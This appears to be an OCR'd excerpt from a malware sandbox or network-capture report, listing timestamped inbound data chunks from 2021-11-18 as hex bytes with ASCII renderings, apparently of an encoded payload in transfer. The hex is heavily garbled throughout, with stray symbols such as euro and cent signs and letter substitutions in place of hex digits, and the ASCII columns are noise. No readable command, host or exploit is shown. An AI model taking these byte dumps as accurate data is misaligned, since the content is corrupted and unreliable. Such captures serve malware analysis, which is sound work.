4610 02 32 49 94 a3 12 31 40 ab ef b8 4b 01 28 13 66 6 37 90 03 80 24 21 ca 9d db ce ab 44 88 c7 24 48 71 a5 af 71 1c
93 d0 c2 31 ee 09 46 49 2f 09 ba 75 ba 8c 62 42 51 2e 26 8d 00 Of b6 d1 89 16 2d 9 17 80 89 10 5f 53 19 2d b1 17 {7 28
fa c8 87 a6 77 2f 71 d4 8b 31 cf 5¢ 1e 59 €9 da d5 91
Data Ascii: )UD-(f)pQh4iB\Y.?)!11S3MKINF,246JA;12-cl,3A"\-PCT20)2P(NrCF211@K (f7$!D$HqqLF/ubBQ.&_S-(W/g1\Y

2021-11-18 09:30:32 UTC 1375 IN Data Raw: 2d 4e 15 93 a8 fe b1 €6 45 32 a4 93 a7 26 2b e6 al 15 68 13 5e ef Ob 28 01 ba 49 1b 3e 2 11 dc cc 52 25 e5
€6 af 39 Oe 3e bc ¢4 ¢9 99 96 b2 7c 21 a4 28 c9 91 6 fd 65 e3 b5 6e 94 11 c4 f9 76 27 3e 98 62 9d 7f 09 dc f4 22 e8 2b b4
5 ee 35 82 be a3 be 93 17 40 b9 b4 85 ee 02 bc 51 e2 9c e5 f9 8a ee 1c 96 ce 53 b3 3e 52 75 25 67 9a 38 66 91 9d f3 64
89 e6 ac d9 df 64 ce 99 2d a7 cb 5d c7 de 97 d6 ab 3d e0 65 fb 4b 52 5b 8d 80 ed 29 3e 64 25 fb 57 ad 35 a3 ab 64 87 52
dc f9 4c d0 60 46 Oe 45 e0 ea 57 51 88 c4 1c ch Oc 69 44 77 5b Oa 1e 89 2d d3 79 92 63 36 dd d7 97 ba 69 39 96 de 4c
Oe ce 4b 04 ca 84 4a 17 c9 8e c4 5a f2 4a d6 17 e2 ba 8d 1b cb cd bb e2 98 da 1a ff 52 79 2d ce 64 e5 c6 1d 21 a9 1a 94
ce 18 25 75 9c a8 82 58 75 7¢ 51 2d 53 24 af f9 b9 64 21
Data Ascii: -NE2&+h"(1>R%9>|!(env'>b"+5@QS>Ru%g8fdd-]=eKR[)>d%W5dRL FEWQiDw[-yc6i9LKJIZJIRy-d!%uXu|Q-S
$d!

2021-11-18 09:30:32 UTC 1391 IN Data Raw: 5f 4f 12 bd 23 87 c2 07 Ob f1 52 48 fd 6b 04 6e 02 ad 25 89 c9 29 fa fe fa 7b a2 e8 f1 43 89 c1 dc e5 ab 0d 89
18 4c af Oc dc 16 52 56 3e 62 ef be 11 f1 a5 70 5b el af 53 72 12 ¢6 cd 38 3e al fc 70 6d 80 b9 1b 62 09 ff 5f 7c 3c cf 4b
ce 5f cc f2 bd 90 20 eb 82 9f e4 59 4b 3b 34 01 45 d3 7 64 f8 67 bl c2 32 6f 29 23 2e ¢5 8b be fb al 01 ¢7 6b cc a4 8a 4f
02 87 0d c9 46 f0 c4 de 2c 82 ba d9 09 28 69 93 ff 8d a6 28 98 2f 8b d6 05 45 f9 bb €3 78 3c f1 4e 28 74 e7 52 65 €3 d4
ed 4e 8a bl 41 83 a8 a7 2b 9d 96 a0 9f 7c 46 6b 75 09 2d 79 d2 47 21 ea 5d bb a8 f7 82 bf 54 Oc c9 55 88 b5 bc 09 e7 8b
9 33 62 f7 68 dc 6e 58 c2 95 88 8b 1a 95 ee 93 b5 13 59 b4 c8 ee €9 5e 40 35 11 84 22 2d f5 8e 8e 01 df 49 de dc c4 c2
€2 76 6¢ 9e 98 20 86 41 4a 9c 31 28 ef 01 62 aa
Data Ascii: _ O#RHkn%){CLRV>bp[Sr8>pmb_|<K_ YK;4Edg20)#.kOF,(i(/Ex<N(tReNA+|Fku-yG!]TU3bhnXY*@5"-Ivl AJ1(b

2021-11-18 09:30:32 UTC 1407 IN Data Raw: 29 ce a8 80 e3 04 95 e5 5b 88 c2 c¢5 92 21 84 c4 05 43 88 02 94 49 bf e8 87 4b a9 86 c9 e7 79 17 89 88 Oe 54
8c Ob fe 05 44 8c 7b c0 4a e9 fe 8d 11 3c 44 96 fe 89 64 33 2a 4c 28 25 0d fe b8 63 21 f8 76 66 5b cb ba 22 d9 25 82 25
353c 24 29 80 ab de 89 c0 2d 8b 39 33 9a 16 8c 3 75 2d 2e 7e a0 47 db ac de 2d 09 c2 f6 1le 65 b9 ef 8c c2 35 59 be 22
8ach fa 65 el 1a 32 ca 9c 85 4b c1 ef 28 00 05 48 1c d4 b0 03 3a 25 55 40 37 7e b0 bf eb 49 01 88 d4 db c9 c9 7c 43 45
3af9 a2 93 ae 32 54 ch a5 44 e9 8¢ 6d f1 55 75 2e 41 a8 35 11 52 2f c5 fc 79 5b 5b e2 ca 80 02 32 0f 91 3b 35 79 74 94
25 1c 5a bf 22 d3 de bb b3 ca f6 4c db 9d e6 12 9a 26 2a c1 ac 61 45 65 7e b5 8c 6e fd d7 d4 27 78 e6 ef Ob Ob 1d 1a 31
9172 d2 21 1f 6b f6 5e 78 al 37 bb 7b 8c el 2d a0 07 33
Data Ascii: )[!CIKyTD{J<Dd3*L(%c!Vf["%%5<$)-93u-.~G-e5Y"e2K(H:%U@7~I|CE:2TDmUuU.A5R/y[[2;5yt%Z"L&*aEe
~n'x1rk*x7{-3
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Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 1423 IN Data Raw: 38 5e 30 6e 01 ef b9 el 3a 78 ec Ob ab 1a b2 01 61 57 37 c8 31 8f 72 07 f3 3f ad ab c9 e9 f1 2e 6d 92 72 2d 93
10 3b 53 8b c1 32 2d 59 00 92 Oa f2 9c c4 f3 20 53 a8 9a 69 83 c2 6a 5b 1d a5 d0 8b 24 e7 04 8a 50 2b Oe ca 36 20 al c2
cb 24 76 03 53 f2 f2 75 Oe fc 92 fe €3 7a 96 12 6f a6 0d 4e 12 a5 a3 fd 95 dc 3c f3 5b dd e4 2f 70 f2 09 ¢3 31 97 Ob f9 3a
50 d0 70 9d 3b dd 17 2c 89 fe ba 28 12 c7 4e 7b 8a cc 5b 0a 8a d6 d0 6f e4 c7 06 ec c6 d3 e8 04 d2 cd 29 2a f2 db 48 d4
4af2 b3 cb c7 9b 6e 3f 2 c3 5e 30 7a €9 31 cf 95 4c 1c 22 c1 8c 9f bl al e3 3a ec 46 cb d3 {3 14 16 {3 bf cd ea 61 b0 7f
82 ef bb f6 bb 5a d7 ec 39 48 cb 43 c1 0f 64 61 a3 6e b1 a6 3e 98 c4 c7 4a 98 64 57 d4 8f ae 82 9b 2a 09 76 03 50 05 1b
14 88 a8 27 82 5a ca b8 4d 01 11 cb 1f 17 31 {7
Data Ascii: 8"0n:xaW71r?.mr-;S2-Y Sij[$P+6 $vSuzoN<[/p1:Pp;,(N{[0)*HIn?"0z1L":FaZ9HCdan>JdW*vP'ZM1

2021-11-18 09:30:32 UTC 1439 IN Data Raw: dc f0 89 bd 05 71 be 14 7f 3c 27 2d 7c e2 52 89 e5 75 e6 30 2d 05 24 65 bf 2b cd 27 51 c7 20 f1 b4 1d c8 1e 95
c1 322811 d1 b5 9e c9 bd 6a c5 09 dd ce d7 9d 76 90 27 7b 33 2e ff 62 c7 02 db d7 82 0f b6 1f 05 53 22 92 44 b2 7c 91
d2 89 7 73 6d 2a fO 9c cf e2 09 cf fd 84 55 c7 fe a2 06 c7 €8 ba Ob €5 04 2d 94 a6 f1 17 e0 37 a8 5b c0 62 22 1d el 20 5e
6a 50 31 1f b7 b1 6f ef 2c bb c5 09 fa a9 9b 87 c9 21 1 be 04 e8 d1 3a 7f 28 d8 ce 4a 24 e3 03 92 ff 09 70 3f 32 3e 79 8d
89 01 db fd 14 51 4f eb 71 94 2b Ob 3f a9 97 d6 bb 32 b1 ce f6 1d 64 0f 8d 71 3b b6 40 55 b4 22 ab 84 bf 01 a2 7f 93 2c f3
Oe 09 3b cd 24 4e d5 51 e5 24 3b 48 2e b4 b4 a4 53 c8 b7 70 06 95 94 1e 90 02 08 42 87 9c 7c 24 66 2f 45 c0 27 de 35
bc ca f5 98 7b f9 9f 25 ee d7 14 66 b7 59 04 65
Data Ascii: g<'-|Ru0-$e+'Q 2(jv'{3.bS"D|sm*U-7[b" ~jP10o,!:(I$p?2>yQ0Oq+?2dqg; @U",;$NQ$;H.SpB|$f/E'5{%fYe

2021-11-18 09:30:32 UTC 1455 IN Data Raw: 1a 92 ec 8a 5a 7 ¢4 3d eb 70 2d cd 4f d8 6a b1 4f 2d dc 16 72 20 54 8 66 01 1e 97 df 96 a3 5a cf ee 34 c5 c5
ef 29 1e 2b cb d0 4f b8 11 a4 d4 16 ef a6 87 09 c2 f3 Oe 8b 75 fd 48 2f c6 82 16 b4 ce 76 a3 bb 4e a4 a8 29 4b ff bd 57 84
f1 be 24 c4 1f ac 55 d3 5a 25 21 fc 7e €9 9a 29 00 57 d2 28 9c 9 b7 d6 05 el 09 c6 ba 2f 9d 67 c1 04 0b 25 d6 57 c5 4
16 24 7 48 4b 8a 98 4c 33 89 80 d9 Oc 49 fe 41 20 94 bf 38 4 be a2 27 Oc 9b fd 3a ca Ob a0 3b ee c4 e8 0b b4 af ce 42 48
70 5e ef 64 8e 20 ff 31 d7 8a 5f 03 35 32 bf 4a 63 2e 39 b9 29 d7 35 a5 db 56 2f 4c 5¢ 80 69 29 d7 b5 4 a4 e5 07 03 2c {7
09 ff e7 5 c7 8d 83 ea 82 91 ef 28 96 ac 68 d6 54 8e 2f de 18 71 ff 31 a0 21 bb 7a 2d fa Oc a8 1 59 24 4d 8b c6 €6 9b 89
1f 07 23 07 41 cb 7f 29 a0 2b 25 0b 16 8d
Data Ascii: Z=p-OjO-r TfZ4)+OUuH/VN)KWSUZ%!~)W(/g%WSHKL3IA 8::BHpAd 1_523c.9)5V/L\i), (hT/qLiz-Y$M#A) +%

2021-11-18 09:30:32 UTC 1471 IN Data Raw: a5 dc 2d 82 72 21 fa 5d 56 05 46 44 29 2d 03 3b 56 8b 25 4e da d3 2e bf b3 b4 96 04 84 89 ca e2 Ob 58 d4 d6

€6 80 2f f3 51 c7 69 46 6¢ bd d2 6a bl c3 92 cb ea 33 4c f9 4b 7a ff 28 01 8b 4b 39 35 66 84 dc ba e2 4e 9a 4b ff b2 e7 51
10 a6 Ob 08 c6 05 85 8b Oe 2d fe 3d cb 7f f5 c8 2f e1 b5 d1 e8 69 11 80 27 5d 6c 5¢ 7c ¢4 20 05 7b a2 24 93 ea dd 34 ff fa
Oa ec 63 9b 55 28 60 79 53 3f 2f bf 12 e0 5b ee 94 e5 ae ed ad 78 27 89 18 67 61 ae db 65 1a d2 92 33 71 a6 93 5b b9 36
al 2b 02 c3 84 72 03 89 0Ob 55 d9 27 4b 56 56 €8 86 6¢ 84 33 b7 6b 60 e2 Oc a5 Oc 38 9c e6 ef 90 70 4c 2b 64 27 fa dd 18
fa d7 b2 6b 85 7c 30 56 09 d9 95 79 12 89 20 13 77 8 e4 24 29 df 84 aa 2c 5b 2e 28 3f c7 bc d5 78 89 9 c9 d6 bf ff ee ab
b5 89 57 14 65 bd ce 9f 9c Oe c2 2b 30 df ec 61

Data Ascii: -r]VFD)-;V%N.X/QiFlj3LKz(K95fNKQ-=/i"l\| {$4cU('yS?/[x'gae3q[6+rU'KVVI3k 8pL+d'k|0OVy w$),[.(?xWe+0a

2021-11-18 09:30:32 UTC 1487 IN Data Raw: 8e 57 49 f7 5f 89 0d f7 31 80 ef 51 5d f7 24 36 9c 11 ¢3 16 1b 21 d0 98 45 72 5d c9 cf 2b b8 a2 8d f9 b8 f4 fa 2d
48 1ffe e4 bf 98 8 40 al 1d ca 27 fb 05 f2 21 f8 bf 67 b3 b2 f1 2d 46 5d 65 f9 34 12 cb 6e 64 a3 2d be f9 c7 d3 fb 34 4e fa
cd 4d 15 16 ab cd b3 a7 ce 55 b6 78 09 21 d9 01 c8 7f fb b2 1f 32 53 d8 aa 36 20 70 c9 50 0d 96 56 88 32 21 fb 48 0d b5
ce cf 10 5f bd aa 97 ba 32 bd €9 66 2b 2c 21 ca 9b c2 05 28 22 01 c3 5f ec €9 bd f6 80 50 8b 09 48 2d 15 d0 05 28 35 29
342104898 cl131e2fbcded29c88d08 a7 ee5d 64 el 9d 53 ec 2e f0 65 f9 44 ae cf 1f 56 17 al be 3¢ 80 cb 91 e2 93
eb 2d 9¢c 02 cc b8 71 9c a9 35 b3 54 10 84 ca 64 43 ba 44 df 01 58 ff 7c 4b f8 68 a5 1a ff ec 0a 94 2f 50 21 c8 92 81 4b fe
ba 84 bl bb ad d5 8f 80 €9 f6 df f8 2
Data Ascii: WI_1Q]$6!Er]+-H@'g-Fle4nd-4NMUXx!2S6 pPV2!H_2f+,!("_PH-(5)4!H1)]dS.eDV<-q5TdCDX|Kh/P!K

2021-11-18 09:30:32 UTC 1503 IN Data Raw: da 5a ea 75 56 aa b7 c2 4f 88 fe fa 73 66 4b 1e 71 11 8b Oe 68 8a a7 ab 1c 38 07 d2 8d 8b 0a bf 09 79 17 6b f9
ff 8a c1 80 9d 62 01 cb f4 67 72 54 23 62 0d 01 66 56 bf 18 49 €3 40 84 25 c1 06 ba 9e 66 7a 27 21 d0 5f el 7e eb 3f bc 57
€0 03 39 21 59 f6 4c 29 Oa c7 91 04 4c bf c1 29 f9 33 38 a5 2c 61 a9 f3 09 4c 1f 29 49 f1 fa 2a eb 56 4f ce ab 8a 95 7c 05
0a 66 16 93 10 8b 57 01 01 3e 31 de 09 fe fd eb 38 4c ca c3 14 34 be 96 56 Oa 97 57 9b 28 19 84 69 27 b3 ca 21 c7 1c 84
0d 94 a5 6¢ 08 eb 09 21 d2 89 c2 59 36 bf 27 1b e6 d9 d6 94 ae cd 53 05 8c 09 d3 d6 df d3 c9 05 8a 1b 05 ae f6 68 5e 9d
bc 3c cc 90 b2 4e af 24 18 d5 a0 e3 b7 13 01 de ae 99 d1 6a f9 90 93 1c b6 04 19 9c b8 af 7c 47 Oc 88 8a 02 02 bf ba 67
a8 10 3c 7d f9 a8 59 02 ¢3 84 5d ac 93 03 5a 89
Data Ascii: ZuVOsfKgh8ykbgrT#bfVI@%fz'!_~?W9!YL)L)38,aL)*VO[fW>18LAVW(i'lllY6'Sh"<N$j|Gg<}Y]Z

2021-11-18 09:30:32 UTC 1519 IN Data Raw: 9c f9 32 ¢7 09 39 84 e3 bf 65 cd 94 31 ed 9b ¢5 31 c6 63 83 02 c7 e7 67 9b 5f 22 0 0d 80 d3 f8 af 53 6a 92 98
8 4f a4 a8 5d d7 e0 e5 b8 b7 Ob 74 f9 01 49 48 21 65 1c 77 c1 b1 29 82 31 cb 89 f0 5d 5e b2 cb 08 fe 37 49 7d a9 79 c2 cf
09 59 77 9c bd 4c 21 10 3d da 3f f2 c2 15 36 b8 17 16 e2 1c f2 41 96 12 28 a8 7d e0 1e 89 {7 9e 44 e7 03 c9 75 45 38 25
99 a2 40 11 33 1e 3a bf 37 f4 5¢ 3c ba el 16 b0 b1 58 c2 09 1e 62 7a 77 6¢ 1la ac 7a fb 73 5f 99 62 31 ca b0 ec 2e 08 1a
62 a9 1c b9 f0 ff 85 a6 91 40 1c 29 c7 93 1e fc c3 5e dd €9 84 44 09 c1 05 be 8 96 a4 fc f1 d2 17 c6 ba 60 cf 1e 31 fe a2
f4 42 a4 b2 ad d5 c2 09 5f 65 c1 a3 el 12 e6 f3 f4 4f c2 40 24 74 03 52 46 e8 b5 41 f7 c2 ad 3¢ 79 e6 67 c1 70 7d 70 64 09
95 46 2c 60 66 84 d4 f4 01 ef 94 75 92 ff a9
Data Ascii: 29e11cg_"SjO]tIH!ew)1]771}yYwL!=?6A(JDUEB%@3:7\<Xbzwlzs_b1.b@) D 1B_eO@S$tRFA<ygp}pdF, fu

2021-11-18 09:30:32 UTC 1535 IN Data Raw: d1 43 a2 47 bd 41 6f c1 33 5¢ 49 81 13 Oc a0 d7 5e 9d 06 d5 06 f8 Of af 2a ¢3 ba 17 7c 89 9d 9 €9 74 01 09 e8
8f d4 16 b2 db 3a €9 52 d6 b2 99 28 16 b7 a2 2e e7 63 27 92 €0 55 29 be df 94 d7 f1 c2 fd b2 11 89 4e b0 08 01 cf 90 74
2d 09 ¢7 db 7c 13 7 a3 50 51 6d 6f b6 ce 02 ee cd 18 59 4b 6a 44 9 09 62 29 3 7b b5 8e 21 d7 49 c1 9 b9 f0 51 20 8b
30 28 ac 2 9 5d 79 10 69 fe al a5 54 €9 e4 03 €9 53 96 b5 1d 15 a7 af b3 d1 97 bf 6¢ b7 b6 5a 10 3¢ cc 35 88 33 13 b6
30 e4 09 13 ee 8b 04 28 5d 41 bf 51 1d 44 21 11 49 c8 0a 49 fd 34 a3 c8 36 6d bc a7 18 16 a2 72 fd 4e 41 b5 d4 21 51 c9
1c eb 09 13 02 77 3e fd 9e 9c 86 Ob 82 91 de 9 88 ¢3 5d 61 ea e4 ec 04 a4 9d aa 02 60 a6 05 30 1a 9¢ 5f 14 b4 bd fe d8
73 4f ab bf 2d 66 18 1a 03 97 ce ce 13 5b 89 18 89 €8
Data Ascii: CGA03\I*¥[t:R(.c'U)Nt-[PQmoYKDb){!IQ 0(lyiTSIZ<530(JAQD!146mrNAIQw>]a’0_sO-f[

2021-11-18 09:30:32 UTC 1551 IN Data Raw: 7e b6 eb 7e 84 51 ef 3a €8 a9 a2 8b 75 ec ad 9d 60 f0 f7 05 48 11 1b d6 22 64 c7 c2 6e 75 f9 28 e9 08 fc 05 c2
03 02 d9 1a 81 2d 6b 29 72 12 af 3e 73 e4 22 25 fc ¢3 95 74 53 65 02 ca 92 4e ba 32 da df e2 9a f3 40 14 cb 7a 58 a6 4a
bf d1 7a eb 80 59 54 af 7e 59 f1 6b 7 66 86 4e e3 e6 c5 25 c6 7 94 5f b7 84 b9 ef fa f9 d8 a4 37 c1 d9 5 67 f1 17 08 e3 f1
cb ee fd 14 9¢ 92 6a bc bd 51 ce 38 7a ¢9 01 c1 1b 24 22 1a 93 Oe ad 21 57 b6 06 5e f4 23 ea 5b 80 74 1c 98 fc 31 12 db
89 cf f9 b3 2f €8 4c 97 2f eb 1f 14 f3 42 ee 5b ac d6 17 da 33 b1l 4e 2 11 b8 c2 d1 da 48 49 43 33 Ob 4e be 99 7e 14 23 fa
6 00 69 1a 14 26 bd 46 af 7b 0f 4b db fd 15 cb 35 d5 65 8b 97 €6 ac 92 a4 bf 8a 4b 2a c3 1f 22 c2 1c 97 02 4c¢ 31 7 5e f1
70 ee 20 91 55 69 5f e6 94 86 2e 7e ca bb
Data Ascii: ~~Q:u"H"dnu(-k)r>s"%tSeN2@zXJzY T~YkfN%_70jQ8z$"WA#[t1/L/B[3NHIC3N~#&F{K5eK*"L1%p Ui_.~

2021-11-18 09:30:32 UTC 1567 IN Data Raw: b2 05 39 63 dc 5e b5 a7 ec ab de bd cc 92 ea 0a fa Of 3c af ¢8 d8 f0 17 b0 9d 9c 7e 08 d6 db 9d 9f 68 87 d4 7d
4e fa cb 9f 5b 74 5b c5 75 Of ac ca e5 6f 51 29 b8 61 03 78 58 b4 al cb la e2 2d 02 9a 7f 76 31 e9 81 47 e0 32 13 f4 21
03 e0 b9 00 bb 9e ec 08 c1 dd 20 b0 c5 19 78 76 ef 90 f5 36 19 Oc el 42 08 22 28 01 20 74 05 2b 05 8d 89 f7 eb 7d 8a 04
89 ae f6 de 2d ce 7e 7f 7a 5a 6f 95 79 fb cb 5e 7e ¢9 77 89 97 dd 65 12 Oe 21 1e 49 ff 57 f3 8e 35 30 bb cb 3f 7c 04 06 bf
al 5d 32 fe b7 09 70 9d 14 25 bf 52 b1 5b 20 fd 9d 89 e9 71 32 16 df aa 39 19 d9 {7 7b e9 42 d3 b0 2c c9 fa d6 bf dc 4a e9
57 fa 49 82 98 d7 f9 2e 69 f7 c5 b8 0a 17 05 ¢5 cb c2 8b 57 b8 a3 33 13 b5 de Oc cb d0 6 5b ff 98 4e c6 97 dc ed 51 36 f4
cf 1c 97 94 c0 bd 9a 15 dd 22 24 35 40 5¢ 70
Data Ascii: 9c"<~h}N[tluoQ)axX-v1G2! xv6B"( t+}-~zZoy ~we!lW50?|]12p%R[ q29{B,JWI.iIW3[NQ6"$5@\p
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2021-11-18 09:30:32 UTC 1583 IN Data Raw: 60 56 09 f3 29 db bf 76 30 c9 c1 e4 cf 7b ac 9b a2 Oe 5e 56 4b 75 89 11 1a 41 fc f1 47 59 75 €9 05 7d ff el 34
ad fa 90 da 01 c8 29 4b c6 f6 81 78 bf fb d9 al 95 a5 5e 93 6a 00 Oe Of b6 56 fc 70 2d eb c7 cb 2f 54 40 61 d0 03 Ob 69 45
92 f1 81 2b bb 67 7f aa ff 13 d6 be ca 6a 2d 1f 45 c7 24 e9 04 31 0b 35 bf 35 f0 85 85 eb 39 4f db d9 b5 1b c9 11 6a bd 54
97 cd 10 3a a3 b3 27 Ob 64 00 4a 29 c1 77 31 d6 6a 98 1d Of 93 89 27 7e 5d 61 e8 29 df 7c 67 d7 b3 7b 25 d7 dc 48 cd 46
2f 29 df 6a 35 dc be 92 b8 f3 f7 ec 3e 26 ce 04 cd 50 29 d3 9d d0 c3 b0 45 96 3e 53 5a 3a 7 76 40 Oe 05 97 f4 6a 52 75
4c 05 6b fe 42 de a4 13 f3 ff 8b b3 06 09 08 01 c3 6d 4a f7 bf 74 ¢5 3 79 76 04 20 d9 ce e3 4e 99 c9 a2 3e bb 4a c3 b2 81
d7 c9 f5 2a b4 ab dc bd 58 6b b1 40 c4 e3 8d
Data Ascii: "V)VO{"VKUAGY u}4)Kx"jVp-IT@aiE+gj-E$15590;T:'dJ)wlj'~]a)|g{%HF/)j5>&P)E>SZ:v@jRuLkBmJtyv
N>J*Xk@

2021-11-18 09:30:32 UTC 1599 IN Data Raw: 4b cd d5 44 91 bb 8c b4 b8 9b 58 27 d2 Oe 2d 36 b2 66 45 7a 01 2d 29 f8 51 6¢ 96 05 eb 30 ee 89 c3 09 9d d3
5e 8a c7 03 06 Oa e3 24 35 ae 9b 27 78 8a 4e f3 65 3e bb 75 06 cc d2 29 18 f3 21 cb a8 ee e3 5a 7c cd 79 e6 56 8 6b 01
242816 9c 3b 9d f5 7b 8a df 4b bf 72 da c9 7d 56 81 7a 75 d1 8e a0 22 27 31 de e6 31 9f 5¢c 23 44 55 €9 9b 92 af 24 06
e3a591 3951 e5f6f5 1e 37 b5 46 41 2f 21 d7 71 51 a5 5d 1a eb 42 f7 61 72 d1 28 af cf 5b 22 18 e9 1a f4 f6 €9 66 8b 27
5b 29 09 O fd 16 d1 b3 6f 2c aa 62 b0 5e ec ff 9f 7b el a8 62 bf 04 53 f6 ee bd d5 a5 be cc 24 36 9e b7 cb 59 ca 44 b9 98
68 36 53 35 eb Ob €9 21 ¢7 5d 65 49 26 36 ee 32 cc 73 f6 Oc 85 c1 35 67 c2 05 9e 2a 47 d7 f4 eb af 8b dd 6b 40 53 f2 6b
dc 55 27 14 e5 95 8b 83 b0 61 01 f1 aa 07 dd 68 44
Data Ascii: KDX'-6fEz-)QI0"$5'xNe>u)!Z|yVk$(;{Kr}Vzu™11\#DU$9Q7FA/!IqQ]Bar(['f'[)o,b{bS$6YDh6ES5!]el&62s59*Gk@
SkU'ahD

2021-11-18 09:30:32 UTC 1615 IN Data Raw: b0 2b el 8d 02 26 b9 f5 47 97 be df 2d 9a 2b f3 36 17 8b 16 8d 96 3b d9 66 49 f2 19 2e 2a e8 30 4b ce €9 5f 32
b0 c1 a2 06 c7 06 a4 Oc 40 54 bb 72 5a f9 al 21 58 c0 e8 ec df 9d de 91 69 46 49 80 62 31 da 2f 2b 30 6¢ bb 9d 1b 0a 4b
le ae 9c e2 fl al 42 29 7e d8 b5 30 9f fO c5 4a 2 bf 2d 2a 3f d8 31 08 09 dc 26 51 56 df 7b 03 26 1a 25 fb b4 02 f8 0f 86
02 22 09 fa df 71 96 94 ef cO dd b9 2b d8 ca 13 25 fh 8e a6 25 02 73 cf a7 5f e6 Oa 25 01 37 df a4 20 f6 ee bc cb a5 af 64
f7 af b9 el 4a 8a 31 4a b3 93 02 33 c5 4 39 28 85 el 19 dc 5f e7 f9 7b 28 96 66 c4 50 48 b5 b3 bd 65 96 eb 65 d4 03 00
66 8f 03 fa de 71 58 a7 72 b2 97 fc ee 78 09 f7 bf 6a 7b 7d e5 cc a5 5d 64 45 29 ca 80 88 6b 40 f1 21 ff 97 db 5b 04 eb 39
de c2 d8 Oc 21 81 03 02 6¢ 29 d1 e8 27 be 74
Data Ascii: +&G-+6;fl.*0K_2@TrZ!XiFIb1/+0IKB)~0J-*?1&QV{&%"q+%%s_%7 dJ1J39(_{(fPHeefgXrxj{}JdE)k@![9!I)'t

2021-11-18 09:30:32 UTC 1631 IN Data Raw: 2b 18 fb 9b 02 2d 67 8f 69 fd f1 46 49 77 db 46 af 6e b5 a6 39 a6 ¢7 9d 77 10 68 Oe 21 5a c7 2c 15 2d b4 Oe 6e
13 e2 86 82 8b 37 bf 2e 1d 6e ad e4 ff ef f8 f1 e1 01 32 fc el ba el 6f 39 65 el e9 3b fc 4c a4 ee b8 ea d1 57 4c 61 27 c7
ce 5d 5¢ 11 ¢8 a5 be dc 50 2b 56 13 12 3d 29 4c e3 b0 33 be d0 25 7 64 b0 00 66 01 5f 10 f6 56 2f 21 32 73 71 1b b4 d6
ef 39 25 2a 77 6f 2b e5 3c Ob e2 24 71 41 49 f5 d9 91 6b ff 66 3b 5f 35 2¢ 28 01 5b Of dc ba 25 7 6f 29 30 d8 37 2¢ 13 9f
b5 04 9d b3 el ca 6f 49 ad 58 7f 6e 43 80 70 c1 cb 17 el 94 2b 84 df {7 ba 4e da cb 4e e8 1d 4e 55 80 30 4c e5 4e fb da
0d 55 46 3b b6 89 4b fe 53 86 b7 €9 2f b9 f9 1e 69 20 dd a5 ee 09 37 5b 05 f9 f1 84 c2 0d ec 43 c4 el 24 24 eb 07 7f c9 25
aa 26 84 ea 9b 48 cd 06 2b a0 38 df 02 39 la
Data Ascii: +-giFIwFn9wh!Z,-n7.n209e;LWLa\P+V=)L3%df_V/12sq9%*wo+<$qAlkf;_5,([%0)07,01XnCp+NNNUOLNUF;KS/i
7[C$$%&H+89

2021-11-18 09:30:32 UTC 1647 IN Data Raw: 40 a9 31 41 al e6 77 cf 7a 45 50 3c 6f 39 f6 01 17 b8 97 b6 aa 5e 62 41 c9 03 5e 53 59 20 7a 74 f4 bb ad 42
92 b1 822a99 78 2b 85 68 9d d6 3a 72 65 d0 7d 79 56 b2 16 0d d7 79 e3 c1 29 da 33 72 82 d3 bf 30 7b 03 1e 09 4a d2
b3 1e 59 b9 77 95 c5 7b 27 76 8f 71 df 3c 6f 8a 2d 4c 2c b5 Oc 21 d1 4e 09 74 df e5 2e 68 e5 36 09 6f 4e 24 0a 29 1d e5
52 af 46 2a 17 31 c0 25 bf d8 db 42 8c bf 70 17 02 f3 c4 15 13 79 05 7d d1 1a 4b dd 4e be 02 1f bb 4d 4e 1c 7e 7f 71 d2 4f
4b eb 5f 94 67 97 d4 d7 60 b8 9e 17 52 95 77 a2 4a 08 1e f6 af 16 e6 ff 9d Oa 2f ff 2c 21 ee 84 98 d0 2a 29 ce 19 9d 24 bb
05 aa 39 68 2a 84 35 be €9 89 84 31 f6 ab 62 21 07 24 b9 e9 1f 85 29 fa b9 f8 72 4f ca 67 19 1f 09 e6 74 a8 52 20 5f 2d ad
ac 7f 5e 69 f2 0a 82 ¢9 09 f9 df 98 63 29 03 f4 ce
Data Ascii: @1AWzZEP<09"bA"SY ztB*x+h:re}yVy)3ro{JYw{'vg<o-L,!Nt.h6oN$)RF*1%Bpy}KNMN~qOK_g RwJ/,!*)$9
h*51b!$)rOgtR _-"ic)

2021-11-18 09:30:32 UTC 1663 IN Data Raw: 25 f9 7f 1a d3 d1 72 ac 02 16 21 eb 34 38 84 e4 be ad 11 d4 5f c9 cb c6 d4 d2 f6 ca Oe 10 cb 1c d7 cd 59 96 1e
18 33 1 33 10 31 3d ec 29 d0 5f Oc a9 60 90 el 25 f1 e5 ed 20 cc 27 21 c7 f1 bf 6b 61 41 40 42 4e 06 9 50 f9 5¢ 5a c3
91 2a bf 21 08 01 d3 8b 32 bf 0a 6b 29 df 6e 84 3d ba a2 60 c9 37 Ob 46 55 9e 6¢ 53 09 8a 25 1f fd €5 9b ad 56 6e €9 5¢
b8 51 29 04 ae 71 ff 3e 6d d1 5¢ 2a bb 2¢ 15 59 95 {7 3¢ 9d 56 19 Ob 5e ec f2 9f 08 3d 7e 05 7 19 9c af a7 30 d7 aa 38 55
1d ad 1b af 54 47 ¢9 57 51 92 62 b0 ed 55 dc 6¢ c2 30 03 57 76 cd 49 5¢ e4 cb 5d c7 eb ae d9 27 ce cd b5 40 8d 41 df 29
5 2f Of 9f 09 ef 5e 3d 59 fa 61 df 3e 2d d3 c2 11 10 6a e2 a5 89 13 d5 82 le c4 47 8e 9a a3 21 93 0f 80 94 d1 06 00 7c Ob
4b de 66 c2 67 8d 7a 3c 06 26 €9 d9 6b 12 30
Data Ascii: %r!48_Y331=)_ "% 'lkaA@BNP\Z*!12k)n="7FUIS%Vn\Q)g>m\*,Y<VA=~08UTGWQbUIOWVI\] @A)/"=Ya>-|G!
|Kfgz<&kO

2021-11-18 09:30:32 UTC 1679 IN Data Raw: 9e f9 09 38 ce ba 5b 8a d2 4c 42 al 31 fe 49 78 32 4a 93 cd 89 7b 85 2c ee f3 al 17 ea 21 b8 be c4 ff 32 aa c2
ac 08 df 08 2e 24 e9 dd fb 99 Ob b0 ab d5 96 c9 9e fe cb 70 6¢ b0 4d 4f €6 eb 2¢c 53 ee 95 7d 9c 60 92 b4 9f 66 11 bf d8 3d
9e da €9 5d 91 dO el 6e 39 f7 2f 17 bd a7 6d 5e ff 01 15 90 94 5c 10 3a be 77 d9 8b d5 c6 3a 88 2a 09 f2 26 29 1f d5 72 f1
